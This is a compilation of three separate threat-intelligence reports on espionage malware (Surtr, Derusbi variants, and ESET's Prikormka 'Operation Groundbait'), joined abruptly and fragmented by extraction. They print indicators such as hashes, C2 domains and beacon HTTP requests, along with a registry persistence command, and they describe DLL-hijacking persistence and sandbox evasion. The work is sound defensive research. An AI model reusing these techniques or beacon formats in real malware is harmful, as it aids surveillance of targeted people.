For communities under persistent threat from targeted malware campaigns, user vigilance and education are essential for reducing risk.
Users should carefully examine the senders email address of emails and exercise caution in opening unexpected or unsolicited attachments or opening unverified links.
See Citizen Labs Recommendations for defending against targeted cyber threats for additional information, and Tibet Action Institutes Detach from Attachments and Think Before You Click campaigns.
The Citizen Lab is continuing to monitor targeted malware campaigns using Surtr and will post updates as they are available.
Appendix MD5s  Identifiers Email Attachment Names  MD5s: 1) TCCC PRESIDENT  BOARD MEMBERS NOMINATION  ELECTION POLICY  PROCEDURE.doc 8c06aec37c7e51f581aaa41f66d4ebad2) communication1.doc  28444ee593653a4816deb186a6eddee83) communication2.doc c269b3cf3d336a40c2fd7c2111b52982 Stage 1 Section: .text MD5 hash: d4f9b3b573a8f1d70d58aa8daf9cb256 SHA-1 hash: a1d5128cd50959bc7008be1fdfe2cf6339ed7098 SHA-256 hash: aef9f55931d054dbf027639e30d0abf587696b13d8993aab6c22eb7d47f0de83 Section: .rdata MD5 hash: e130ff2adbf4515b1af88b451396e1f6 SHA-1 hash: 248691810ae34407aa3486ef3faca6fe3286f630 SHA-256 hash: adae7b2306d7fc145ebd90fd1147bc352c56937d58e1996b89d5368cebdb438d Section: .data MD5 hash: c4fc864da3ee8462c5c25054f00e703f SHA-1 hash: b28a02f68cbacdaa89cf274dc79b3c802a21599d SHA-256 hash: 203ca80897fd63ca3fc55ec4be22cd302d5d81729ee8f347bd8f22c73ad1b61d Section: .reloc MD5 hash: bc2c349c1f4c338c6834a79c03c461fb SHA-1 hash: c71504a96ea72656ef826677a53f9a5230fcb049 SHA-256 hash: 58c192f73afe761b42493a36ded1a5724f06e14f44304b946341eb46b3bdfa7d The hashes of the resource section vary based on how much it is padded.
Notable Strings: cScCssvdcfhgshtj CrtRunTime.log aCvVpR _One.dll _Fra.dll asasdasrqwfsdvctyqwm efskdfjaslkfjlaksd dksfjasdklfjasd casfjaklsdjfaskdlf bakjfasdkljfkldfjaslkd adskjfksldjfklsad soul LiveUpdata_Mem\ Burn\ Stage 2 (downloaded component) MD5: 21aa9dd44738d5bf9d8a8ecf53c3108c Notable Strings: x86_GmRemote.dll Mark D:\Project\GTProject\Public\List\ListManager.cpp Footnote 1 Surtr is a fire giant in Norse Mythology.
We chose Surtr as this malware familys namesake because the malware creates a folder named Burn Post a Comment Your email is never shared.
Required fields are marked Name Email Website Comment Post Comment Citizenlab 2013   Contact    RSS
5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 1/15 threatgeek.com Turbo Twist: Two 64-bit Derusbi Strains Converge by Threatgeek   May 2, 2016   4 min read   original To follow up on the March report on the discovery of a 64-bit Linux variant of Derusbi used in the Turbo campaign, this post covers our analysis of two unique Windows variants of the Derusbi PGV_PVID malware.
Derusbi has been widely covered and associated with numerous Chinese cyber espionage actors, including the group known as C0d0s0 Team (aka Sunshop Group) and its watering-hole attacks using Forbes[.
]com in 2014.
What made these two variants of interest is that, as of April 28, 2016, there are zero (0) antivirus detections of these variants at VirusTotal.
On April 29, our team also scanned these variants with two different local antivirus tools running the latest virus signatures and the APT malware was still undetected.
Based on compile times in the variants analyzed, it appears that this variant has been around since at least 2013.
Some of the strings in these variants have also been observed in variants of the Bergard APT malware.
The Derusbi variants were identified and named by Proofpoint earlier this year.
http://www.threatgeek.com/2016/05/turbo-twist-two-64-bit-derusbi-strains-converge.html http://www.threatgeek.com/2016/05/turbo-twist-two-64-bit-derusbi-strains-converge.html http://www.threatgeek.com/2016/03/fidelis-threat-advisory-1021-the-turbo-campaign-featuring-derusbi-for-64-bit-linux.html http://www.proofpoint.com/tw/exploring-bergard-old-malware-new-tricks 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 2/15 Our Yara hunting rule that detected these two Derusbi PGV_PVID variants with zero antivirus detections also detected two other variants that are detected by AVs as Derusbi.
One of the Derusbi PGV_PVID samples that we analyzed shares its command-and-control server with a Rekaf sample identified by Proofpoint, furthering the connection between these families that they established in their post.
Interestingly, at least one of the domains used here is currently registered with the China-based domain broker we identified in the Turbo campaign report.
After doing some pivots involving the IP addresses observed in our analysis, we have a trove of very interesting domains, all listed at the bottom of this report.
These domains include ones that might purport to represent prominent U.S. defense contractors, media outlets, etc.
It has to be noted that we have not identified malware or a campaign that uses these domains, but in our observation, the purpose of registering these domains would be to launch a targeted campaign against the named organization or others that trust them, such as partners and customers.
These techniques were widely observed in 2015, in events involving U.S. OPM, Anthem Healthcare, etc.
These domain pivots have also shown us further connections between these PGV_PVID, Rekaf and Bergard variants of Derusbi.
The specific indicators are provided later in this post, but the relationship is illustrated with these tables.
The dates on these records is worth noting, since it could potentially indicate campaign periods.
Passive DNS relationship 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 3/15 Domain google-dash[.
]com office365e[.
]com Record Type Time first seen 04-09-2016 last seen 04-19-2016 first seen 04-25-2016 last seen 04-29-2016 Source DomainTools/Farsight DNSDB Passive DNS relationship from 121.54.168[.
]216 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 4/15 Domain google- dash[.
]com ukoffering[.
]com microsoft- cache[.
]com Record Type Time first seen 01-14- 2016 last seen 04-02- 2016 first seen 01-29-2016 last seen 02-02-2016 first seen 01-03- 2016 last seen 01-23- 2016 Source DomainTools/Farsight DNSDB In this vein, theres a clear preponderance of popular online services and technologies  variants of Google, Office 365, Virtualbox and VMtools feature in this domain set.
It has to be noted that these are technologies that are very popular across a broad set of enterprises and offer a very broad set of opportunities.
Malware Analysis All four variants perform an HTTP request that is almost identical, with the exception of the Command  Control server and a small variant in one of the Referrer values.
Even a 16-digit value in the URL and Cookie was the same.
This beacon format and 16-digit value was also observed in the PGV_PVID variants analyzed earlier this year by Proofpoint.
Three of the samples contained the following string of interest: payload_service_x64.dll.
These PGV_PVID variants were observed encoding some of its configuration, APIs and other strings with a single-byte XOR key.
Some of the keys used are: 0x90, 0xEB and 0x57.
5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 5/15 It was also interesting to see how these samples were trying to disguise themselves during entrenchment as valid services in the system to try to confuse incident responders, computer forensics investigators and network administrators.
The following screenshots show the Microsoft service management console with the legit and malicious service (malicious service highlighted): The following is a list of the malware samples analyzed: http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01bb08f44e5b970d-pi http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01bb08f44e97970d-pi 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 6/15 MD5 CnC AV detections Compiled Date 3e4fbb9190227848af32dacb17e9fd17 google-dash[dot]com 0 12/4/14 b93197e2aa147fe6b70695ae7bb298b0 office365e[dot]com 0 12/4/14 4979e819d3ffbea81c7111fb515c1c7 web01.kruul[dot]com 22 4/11/13 791295ef196cf8c20913b3cce76af29a google-dash[dot]com 16 12/4/14 Two samples of the network traffic format associated with this threat: 1.
b93197e2aa147fe6b70695ae7bb298b0 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 7/15 GET /pki/nss/init?0220372661170240 HTTP/1.1 Referer: http://www.microsoft.com/ Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Win32) Host: office365e[dot]com:80 Cache-Control: no-cache Connection: Keep-Alive Cookie: pgv_pvid0220372661170240 2.
3e4fbb9190227848af32dacb17e9fd17 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 8/15 GET /pki/nss/init?0220372661170240 HTTP/1.1 Referer: http://www.google.com/ Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Win32) Host: www.google-dash[dot]com:80 Cache-Control: no-cache Connection: Keep-Alive Cookie: pgv_pvid0220372661170240 Antivirus detection for two of the samples: 1.
3e4fbb9190227848af32dacb17e9fd17 2.
b93197e2aa147fe6b70695ae7bb298b0 Indicators of Compromise Registry Entrenchment HKLM\System\CurrentControlSet\services\hkmservice\Parameters\ServiceDll [CWD]\64.dll http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01b8d1da7979970c-pi http://threatgeek.typepad.com/.a/6a0147e41f3c0a970b01bb08f44ec3970d-pi 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 9/15 HKLM\System\CurrentControlSet\services\ swprvsvc\Parameters\ServiceDll[CWD]\swprv64.dll HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\BD5A117E-658C-4b8c-AED3- 3D177B36F0A8\stubpathC:\Windows\system32\regsvr32.exe /s [CWD]\MSChartCtrl.ocx Service Information Display Name 1: Health Key and Certificate Management Service Service Name 1: hkmservice Display Name 2: Microsoft office products Shadow Copy Provider Service Name 2: swprvsvc Mutex 2-7-26-96EFFFFD-6666-706b-6506-3B6BC6486663-0-7-2 1-5-19-85EDC10D-6745-404b-A50D-4BCBC6480873-1-5-19 Command  Control Servers google-dash[dot]com office365e[dot]com kruul[dot]com nsa.org[dot]cn URLs /projects/security/pki/nss/index.htm?
[16 digits] /developers/menu.php?
[16 digits] /pki/nss/init?
[16 digits] /solutions/company-size/smb/index.htm?
[16 digits] /selfservice/microsites/search.php?
[16 digits] /store/category_groups?
[16 digits] 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 10/15 Yara detection rule The following Yara rule was created to detect these samples: 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 11/15 rule apt_win32_dll_bergard_pgv_pvid_variant meta: copyright  Fidelis Cybersecurity strings: Accept: User-Agent: s Host: s:d Cache-Control: no-cache Connection: Keep-Alive Cookie: pgv_pvid Content-Type: application/x-octet-stream User-Agent: s Host: s:d Pragma: no-cache Connection: Keep-Alive HTTP/1.0 condition: (uint16(0)  0x5A4D) and (all of them) Domains identified from pDNS pivots asixgroupincmeer[.
]biz attrcorp[.
]com smtp.attrcorp[.
]com office365e[.
]com office365e[.
]com usapappers[.
]com e.usapappers[.
]com bee.usapappers[.
]com ftp.usapappers[.
]com sun.usapappers[.
]com 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 12/15 wow.usapappers[.
]com shot.usapappers[.
]com email.usapappers[.
]com dijlacultus[.
]com bbs.dijlacultus[.
]com fok.dijlacultus[.
]com back.dijlacultus[.
]com info.dijlacultus[.
]com live.dijlacultus[.
]com mail.dijlacultus[.
]com news.dijlacultus[.
]com serv.dijlacultus[.
]com tele.dijlacultus[.
]com thec.dijlacultus[.
]com zero.dijlacultus[.
]com swiss.dijlacultus[.
]com living.dijlacultus[.
]com 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 13/15 mailsrv.dijlacultus[.
]com google-dash[.
]com virtualboxs[.
]com steletracker[.
]com vmtools[.
]net pwc.vmtools[.
]net win.winlogon[.
]net asia.winlogon[.
]net winner.winlogon[.
]net hawkthorn[.
]net strightspunddeals[.
]net northropgruman[.
]org owa.northropgruman[.
]org vpn.northropgruman[.
]org soft.northropgruman[.
]org update.northropgruman[.
]org software.northropgruman[.
]org 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 14/15 cegauoqsykgqecqc[.
]org eimqqakugeccgwak[.
]org uogwoigiuweyccsw[.
]org soyy[.
]info haha[.
]school ns1.krimeware[.
]com ns2.krimeware[.
]com tianzhen[.
]co www[.]tianzhen[.
]co monsterlegendsvn[.
]biz www[.]monsterlegendsvn[.
]biz nickytoh[.
]com www[.]nickytoh[.
]com seratjati[.
]com aiselamodefactory[.
]com tasty-and-healthy[.
]com nickytoh[.
]net 5/14/2016 Turbo Twist: Two 64-bit Derusbi Strains Converge  www.threatgeek.com https://www.readability.com/articles/xgbwapy1 15/15 www[.]nickytoh[.
]net animationmyth[.
]net www[.]animationmyth[.
]net petersenstore[.
]org www[.]petersenstore[.
]org forum.haha[.
]school musicis[.
]science References -- The Fidelis Threat Research Team Original URL: http://www.threatgeek.com/2016/05/turbo-twist-two-64-bit-derusbi-strains- converge.html
1Operation Groundbait: Analysis of a surveillance toolkit Operation Groundbait: Analysis of a surveillance toolkit ANTON CHEREPANOV, ESET Version 2016-05-17 1Operation Groundbait: Analysis of a surveillance toolkit Executive Summary  ..................................................................................................................  02 The discovery  ...............................................................................................................................  03 The campaigns  ............................................................................................................................  04 Campaigns against separatists  ......................................................................................  05 Campaign against Ukrainian nationalist political party  ......................................  09 Other campaigns .................................................................................................................  10 Technical details  .........................................................................................................................  12 The dropper  ...........................................................................................................................  13 Prikormka modules  ............................................................................................................  15 PERSISTENCE module  .......................................................................................................  16 DOWNLOADER module  ...................................................................................................  17 CORE module  .......................................................................................................................  17 DOCS_STEALER module  ..................................................................................................  18 KEYLOGGER module  ..........................................................................................................  19 SCREENSHOTS module .....................................................................................................  19 MICROPHONE module  .....................................................................................................  19 SKYPE module  ......................................................................................................................  19 LOGS_ENCRYPTER module  ............................................................................................  20 GEOLOCATION module  ....................................................................................................  21 OS_INFO module  ................................................................................................................  21 PASSWORDS module  ........................................................................................................  22 FILE_TREE module  ..............................................................................................................  22 CC servers  ..................................................................................................................................  23 Attribution  ....................................................................................................................................  25 Conclusion  ....................................................................................................................................  27 Credits  ............................................................................................................................................  28 APPENDIX A.
Details of Prikormka Campaigns  ..............................................................  29 APPENDIX B.
Indicators of Compromise (IoC)  ................................................................  31 ESET detections  ...................................................................................................................  32 Host-based  ............................................................................................................................  32 Mutexes  ..................................................................................................................................  32 CC servers  ...........................................................................................................................  32 Servers used for sending spearphishing emails  .......................................................  32 SHA-1 hashes  ........................................................................................................................  33 Contents 2Operation Groundbait: Analysis of a surveillance toolkit Executive Summary Operation Groundbait (Russian: , Prikormka) is an ongoing cyber-surveil- lance operation targeting individuals in Ukraine.
The group behind this operation has been launching targeted and possibly politically-motivated attacks to spy on individuals.
This paper presents ESETs findings about Operation Groundbait based on our re- search into the Prikormka malware family.
This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.
Key findings: The country where the malware has been seen most is Ukraine.
It has been active since at least 2008.
The primary targets of Operation Groundbait are anti-government separatists in the self-declared Donetsk and Luhansk Peoples Republics inEastern Ukraine.
There have also been a large number of other targets, including Ukrainian government officials, Ukrainian politicians, Ukrainian journalists and others.
The attackers most likely operate from within Ukraine.
3Operation Groundbait: Analysis of a surveillance toolkit The discovery In the third quarter of 2015 ESET identified a previously unknown modular mal- ware family, Prikormka.
Further research revealed that this malware has been active since at least 2008 and the country where the malware has been seen most is Ukraine.
The reason why it had gone unnoticed for so long is the relatively low infection ratio before 2015.
The number of infections surged significantly in 2015.
Figure 1.
The number of unique samples retrieved by ESET, by years, based on timestamps.
Figure 1 shows the number of unique Prikormka samples compiled in each year since 2008, according to the PE header timestamps.
While timestamps by them- selves usually are not a reliable indicator, in this case, their accuracy was con- firmed by ESETs LiveGrid telemetry.
One of the first examples of this malware that we analyzed in our laboratory had the name prikormka.exe.
The Russian and Ukrainian word prikormka () means groundbait, a type of fish bait that is cast into the water to attract fish.
We used this codename during our research and afterward we decided to keep it, so the malware has the names Win32/Prikormka and Win64/Prikormka respectively.
The low detection ratio and ability to stay undetected for years is a common char- acteristic of targeted attacks (APTs).
The investigation of campaigns and Priko- rmka activity has increased our confidence that this malware is used in targeted attacks.
Targeted attacks are generally carried out for various purposes, including recon- naissance, intellectual property theft, sabotage, and espionage.
After analyzing tactics, techniques and procedures employed by this particular malware group, we came to the conclusion that individuals are targeted rather than companies.
Even when the Prikormka malware was detected in a corporate environment, we never saw any lateral movement  a technique used by advanced adversaries in cyber-attacks.
We suspect that this group operates in Ukraine, where most of the victims are located.
For that reason and due to the nature of these attacks, we classified them as cyber-surveillance operations.
1 2008 2009 2010 2011 2012 2013 2014 2015 2016 0 2 7 12 13 44 178 39 http://www.virusradar.com/en/Win32_Prikormka/detail 4Operation Groundbait: Analysis of a surveillance toolkit The campaigns In this section, we will show the most noteworthy and prominent campaigns and the decoy documents with which they are associated.
Lets examine detection statistics by country based on our ESET LiveGrid statistics: Figure 2.
Detection statistics for Prikormka malware according to ESET LiveGrid.
According to our telemetry, Ukraine is the country with the majority of detections of this malware.
In addition, our research revealed that the attackers behind this malware demonstrate native fluency of the Ukrainian and Russian languages and comprehensive understanding of the current political situation in Ukraine.
To answer the question of what kind of victims were attacked in the above-listed countries, we have analyzed the decoy documents used to target them.
The main infection vector that we identified during our research consists of spear- phishing emails with attached malicious executables or with a download link to a malicious file hosted on a remote server.
When the user clicks on a malicious attachment that is masquerading as a document, the Prikormka dropper displays a decoy document in order to trick victims and distract their attention, since victims normally expect to see a document open when they click on an attachment.
This technique works against less tech-savvy computer users infection success, how- ever, depends on the quality of spearphishing emails.
The attacker has a greater chance to infect the computer when spearphishing letters and decoy documents are relevant to the victim  in other words, when the victim would not be sur- prised to receive such a message from someone.
Thus, analyzing such decoy docu- ments can reveal information about the intended targets of these cyber-attacks.
Secondly, there is another artefact embedded in each sample of Prikormka mal- ware, that we call the Campaign ID.
These Campaign IDs are unique text strings used to identify specific infections or attempts at infection by the Prikormka malware operators.
The combinations of letters and numbers used can sometimes reveal information about the intended targets.
So far we have identified more than 80 different Campaign IDs and even more decoy documents linked to these IDs.
It was observed that usually one Campaign ID is used against one target, which can be an individual, some entity, or group of people.
This means that one particular ID might be discovered on multiple computers.
A more comprehensive listing of representative campaigns, along with their com- pilation timestamps and unique Campaign IDs is in Appendix A.
It is worth mentioning that in some cases it is hard to identify intended victims, especially when the Prikormka malware infections were discovered at the stage when the malware was already installed and active.
However, we have become aware of some active Prikormka infections on computer networks belonging to high-value targets, including the Ukrainian government.
Other noteworthy tar- gets are mentioned in the following descriptions of Groundbait campaigns.
Belgium 2 Russia 13 Ukraine 86 Tajikistan 1 Russia 12 Ukraine 87 2015 2016 5Operation Groundbait: Analysis of a surveillance toolkit Campaigns against separatists Among Prikormkas primary targets are separatists in Eastern Ukraine.
Since 2014 this region has been involved in an armed military conflict.
In April 2014 a group of people unilaterally proclaimed independence in two regions of Eastern Ukraine: Donetsk and Luhansk.
In response, the Ukrainian government classified these two entities as terrorist organizations and, therefore, the territory of these regions was declared an Anti-Terrorist Operation (ATO) zone.
InMay11th2014, the authorities of these self-proclaimed republics held a referendum seeking to legitimize the establishment of the republics.
A significant number of decoy documents that were used in Prikormka attacks ex- ploited various topics related to the self-proclaimed states of the Donetsk Peoples Republic (DPR) and the Luhansk Peoples Republic (LPR).
Moreover, a number of decoy documents contain private data including internal statistics and documents apparently used in the internal workflow of these self-proclaimed states.
This fact leads us to believe that operators are intentionally targeting people located in these two regions.
These assumptions are confirmed by our ESET LiveGrid telemetry: the Donetsk and Luhansk regions are at the two most infected regions in Ukraine by the Prikormka malware.
The attackers use social engineering tricks to convince a victim to open a mali- cious attachment.
These tricks include giving provocative or attractive names to the email attachments.
Here are few examples of such filenames:  .exe (From the Russian: National Guard of Ukraine aimed rockets at boy from Donetsk).
Compilation timestamp: November 5th 2014   .scr  (From the Russian: Leader of the Prizrak Brigade Aleksey Borisovich Mozgovoys last appeal to soldiers and officer of Donetsk Peoples Republic and Luhansk Peoples Republic).
Compilation timestamp: May24th2015 .scr (From the Russian: Dislocation of the armed forces of Ukraine inATOzone).
Compilation timestamp: December15th2015 Here are examples of decoy documents that were used in attacks against separatists in Luhansk and Donetsk regions.
The first example is an executable with the filename .exe (From the Russian: Ministries directory  updated) that drops a decoy document with a list of Ministries of the self-proclaimed republic.
The Campaign ID for this executable is D _ xxx.
(
Figure 3) Here is another example of a decoy document, which was dropped by an executable named .exe (From the Russian: Materials for the law exam).
This executable drops several documents including the LPR temporary constitution and other legal and political documents.
The Campaign ID is L _ ment the word ment is Russian slang for a policeman.
Thus, the attackers demonstrate intimate knowledge of the Russian language.
(
Figure 4) Some of the decoy documents use the Minsk agreement topic.
Here is an example of one such document, which comes from a dropper with the filename .exe (From the Russian: Scheme of the demilitarized zone in the Shyrokyne (Shyrokyne written with a typo in Russian)).
The Campaign ID was Lminfin.
(
Figure 5) https://en.wikipedia.org/wiki/ATO_zone https://en.wikipedia.org/wiki/Donbass_status_referendums,_2014 https://en.wikipedia.org/wiki/Aleksey_Mozgovoy https://en.wikipedia.org/wiki/Aleksey_Mozgovoy https://en.wikipedia.org/wiki/Minsk_II https://en.wikipedia.org/wiki/Shyrokyne 6Operation Groundbait: Analysis of a surveillance toolkit Figure 3.
Decoy document, with a list of Ministries of DPR.
(
Here and in further images, potentially sensitive data have been redacted by ESET.)
7Operation Groundbait: Analysis of a surveillance toolkit Figure 4.
Decoy document containing the law, which describes the rules for special crime investigation activities.
Figure 5.
Decoy document, which exploits the Minsk Agreement topic.
8Operation Groundbait: Analysis of a surveillance toolkit Another decoy document even contains a map of the buffer zone established by the Minsk Protocol.
Here is an example, which came from a dropper with the filename   4 14.08.exe (From the Russian: Pullout [of heavy weapons] on14.08).
The Campaign ID was BUR.
(
Figure 6) Important note: Most of the Prikormka binaries that seem to have been intended for use against separatists have Campaign IDs starting with D or L characters.
Its possible that this means Donetsk Peoples Republic and Luhansk Peoples Repub- lic, respectively.
Also, we observed an executable named 13  2015   15 .exe (From the Russian: Edu- ard Basargins statement on 13th October  2015 at 3pm), which uses the Campaign ID RF _ lgm.
Since we have identified detections in Russia, the RF prefix could mean Russian Federation.
Figure 6.
Decoy document with a map of the buffer zone.
9Operation Groundbait: Analysis of a surveillance toolkit Campaign against Ukrainian nationalist political party All previously mentioned decoy documents were extracted from executables that had Russian filenames.
Ukrainian is the official state language however, people in Eastern Ukraine tend to use Russian, as opposed to Western regions, which use Ukrainian.
Some of the Prikormka binaries had names in Ukrainian.
For example, we have seen the filename    21 ,   .exe (From the Ukrainian: The DPR plan for withdrawal of troops on 21st July).
Names of attach- ments in the Ukrainian language might suggest that the receiver of such malicious letters prefer to speak Ukrainian over Russian.
The fact that Prikormka malware was detected in Western regions of Ukraine strengthens this assumption.
The Campaign ID for this particular executable was Psek, which inclines us to believe with a high degree of confidence that members of Ukrainian nationalist party Right Sector (Ukrainian: Pravyi Sektor) were targeted with Prikormka malware.
Figure 7.
Decoy document possibly used against members of a Ukrainian nationalist party.
https://en.wikipedia.org/wiki/Languages_of_Ukraine https://en.wikipedia.org/wiki/Right_Sector 10Operation Groundbait: Analysis of a surveillance toolkit Other campaigns Separatists in Donetsk and Luhansk and the other targeted high profile victims werent the only targets of Operation Groundbait.
We have observed some other campaigns with interesting decoy documents, but we cant identify the intended victims solely on the basis of those documents.
Here is an example of a decoy document which was possibly used against a re- ligious institute.
The decoy document comes from dropper with filename .exe (From the Russian: New word of life).
The Campaign ID was medium.
This choice of Campaign ID may refer to mediumship and spiritualism.
Figure 8.
Decoy document possibly used against religious organizations.
Another campaign was discovered in March 2016.
This time, the name of the malicious file was in Hungarian: nletrajz fizikai munka 2.pdf.scr, which translates to English as CV physical work.
The decoy document dropped by this file was a persons CV (curriculum vitae or resume), written in Hungarian.
This malicious .SCR file was sent compressed in single archive with two other docu- ments: the CV of the same person in Ukrainian, and a certificate in Hungarian that confirms that this person is able to perform the physical job.
Based on this infor- mation it is hard to say who might be the intended target, but the fact its recip- ient possibly knows Hungarian and Ukrainian makes this campaign interesting.
TheCampaign ID was F _ ego.
Figure 9.
The Hungarian document that was sent to the victim in a single archive with the Prikormka malware.
https://en.wikipedia.org/wiki/Mediumship 11Operation Groundbait: Analysis of a surveillance toolkit Here is an example of a decoy document, dropped from a file with the name bitcoin.exe.
The Campaign ID in this case was hmod.
Figure 10.
Decoy document that explains how to commit credit card fraud.
The Russian text in the decoy document explains, step by step, how to buy bitcoins using stolen credit cards.
The text abounds in slang words often used by Rus- sian-speaking carders.
Another example is a mysterious decoy document extracted from a malware dropper with the name prikormka.exe.
The Campaign ID is 30K _ alfa.
Figure 11.
The mysterious decoy document dropped by the file named prikormka.exe.
This decoy document contains the pricelist of a Ukrainian shop that sells various types of groundbait.1 Cybercriminals involved in stolen credit card crime.
12Operation Groundbait: Analysis of a surveillance toolkit Technical details In this section, we will describe technical aspects of Prikormka malware, including malware architecture, CC communication and detailed analysis of modules used.
Figure 12.
Simplified scheme of the Prikormka malwares architecture.
13Operation Groundbait: Analysis of a surveillance toolkit The dropper The dropper is the initial component of this malware, which is usually sent through email as an attachment.
Usually the dropper has a .SCR or .EXE file extension and is compressed into an archive.
In order to trick the victim, the Prikormka dropper can masquerade as various types of document or self-extracting archive.
Figure 13.
Icons used by Prikormka malware.
When executed, the dropper infects the computer, but also displays one or more decoy documents.
To this end, the malware displays a WinRAR self-extraction (SFX) archive window.
In some cases, the dropper creates a legitimate, non-mali- cious SFX executable on disk and then launches it.
Interestingly, that SFX archive always has a Russian localized graphic user interface, even in cases where the file- name of the dropper is in Ukrainian.
The dropper which has a Hungarian filename does not display this window at all.
Figure 14.
The Russian interface of SFX archive.
The SFX executable can contain one or more decoy documents.
For example one SFX that was dropped by Prikormka contained 24 documents.
Of course, the num- ber and size of the decoy documents affects the size of the droppers.
The biggest dropper we identified had a file size of 25MB.
Most of the dropper executables have an embedded application manifest, which specifies that the executable requires administrator privileges in order to run on the system.
If the user does not have administrator privileges, the system will prompt for credentials.
Figure 15.
The embedded application manifest embedded in Prikormka dropper.
The dropper needs administrator privileges because of the technique used by the malware to become persistent on the infected system.
Specifically, the malware uses so-called DLL load-order hijacking in order to start automatically on every system boot.
The dropper saves one of the Prikormka DLL modules to the Win- dows-directory under the name ntshrui.dll.
Because this DLL file is stored in the Windows directory, it will be loaded on system boot by the explorer.exe process instead of the legitimate ntshrui.dll file, which is stored in the C:\Windows\System32 subdirectory.
Thus, the Prikormka module hijacks the order of loading DLL files.
This persistency method is not something new it has been publicly examined multiple times by anti-malware research community.
Another interesting technique is used by the Prikormka malware, specifically by droppers with .SCR file extensions.
The .SCR file extension stands for screensaver and represents a standard Windows executable file.
The main difference between .EXE and .SCR is that a screensaver is executed with special command line argu- ments.
Usually, cybercriminals just rename an executable with the .SCR extension in order to bypass various security measures based on file extension.
Prikormkas authors implemented a check for such command line arguments, so when the https://support.microsoft.com/en-us/kb/182383 https://support.microsoft.com/en-us/kb/182383 14Operation Groundbait: Analysis of a surveillance toolkit binary is executed as a standard executable (without the required arguments), itwont infect the system.
Thus, this simple check allowed the malware to bypass some sandboxes used for automatic sample processing.
In the case where the infection starts from a .SCR file, the Trojan uses standard methods for loading its DLL via rundll32.exe and for maintaining persistence, by setting an entry with the name guidVGA or guidVSA in the registry Run key: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] In order to be loaded by the 32-bit and the 64-bit version of Windows Explorer the malware has binaries for both platforms.
Most modules are written in the Cpro- gramming language and compiled with Microsoft Visual Studio.
The dropper stores modules in its resources some of these resources are encrypt- ed with a simple XOR operation.
Figure 16.
Resources located inside the Prikormka dropper binary.
The dropper is responsible for creation of the rbcon.ini file, which used by the malware to store Campaign ID and other values.
Earlier versions of Prikormka used a different technique  Campaign IDs were embedded in the binary file of one of modules: Figure 17.
The Campaign ID with value hmyr32 is embedded in the binary.
The Campaign ID value was hardcoded in the Prikormka binary at compilation time moreover, the ID in the 32-bit version of binaries ended with 2, while the Campaign ID in 64-bit version of binaries ended with 4.
This technique was probably efficient for a small number of victims, but it presum- ably created problems for the attackers once the number of victims grew.
Perhaps recompiling and repacking the core parts of a toolset for every new victim became too time consuming, so somewhere around mid-2015, the attackers changed this scheme.
Since June 2015 the Campaign ID is stored in a separate file named rbcon.ini, which the attackers call objectset.
The malware authors have also included a new value called roboconid, which represents the Operators ID.
Our investigation allowed us to confirm that this ID is a unique number for the mal- ware operator, who performs cyber operations and is assigned to infect, spy on, and track a particular target.
Figure 18.
The rbcon.ini file which contains both Campaign ID and Operator ID.
15Operation Groundbait: Analysis of a surveillance toolkit Some of the binaries of the dropper contain a PDB-path, which can reveal the directory structure used by attackers.
Figure 19.
Some of the PDB-paths discovered inside Prikormka droppers.
The malware writers internally call this Trojan PZZ we have other evidence that supports this theory.
The Prikormka family is a typical cyber-espionage Trojan with a modular architecture.
The functionality of the Trojan allows attackers to steal sensitive data from the infected computer and upload them to command and control (CC) servers.
Prikormka modules The Prikormka modules are stored on disk in the infected system in the form of DLL files.
There are modules for various purposes, such as communication with CC servers, auxiliary purposes (e.g.
persistence), and exfiltration of different types of sensitive information from the infected computer.
As mentioned before, Prikormka modules are compiled for both 32- and 64-bit Windows platforms.
There is a standard set of downloadable modules with pre-defined names, which will be described in detail in the next sections.
So as to be executed, the module (DLL file) should be stored under a specific filename on the disk and should have one of the following export functions: Starting, KickInPoint, Cycle.
However, attackers are able to push any custom module to a particular victim.
Specifically, we observed that custom modules are usually named mp.dll.
It should be noted that malware operators are responsible for deciding which modules should be pushed to the infected computer.
Prikormka might store modules with different functionality under similar names or, conversely, it can store modules with similar functionality under various names.
Some versions of the malware store modules with a filename that contains only the current date and time.
For these reasons we refer to the plugins by code names in the following text.
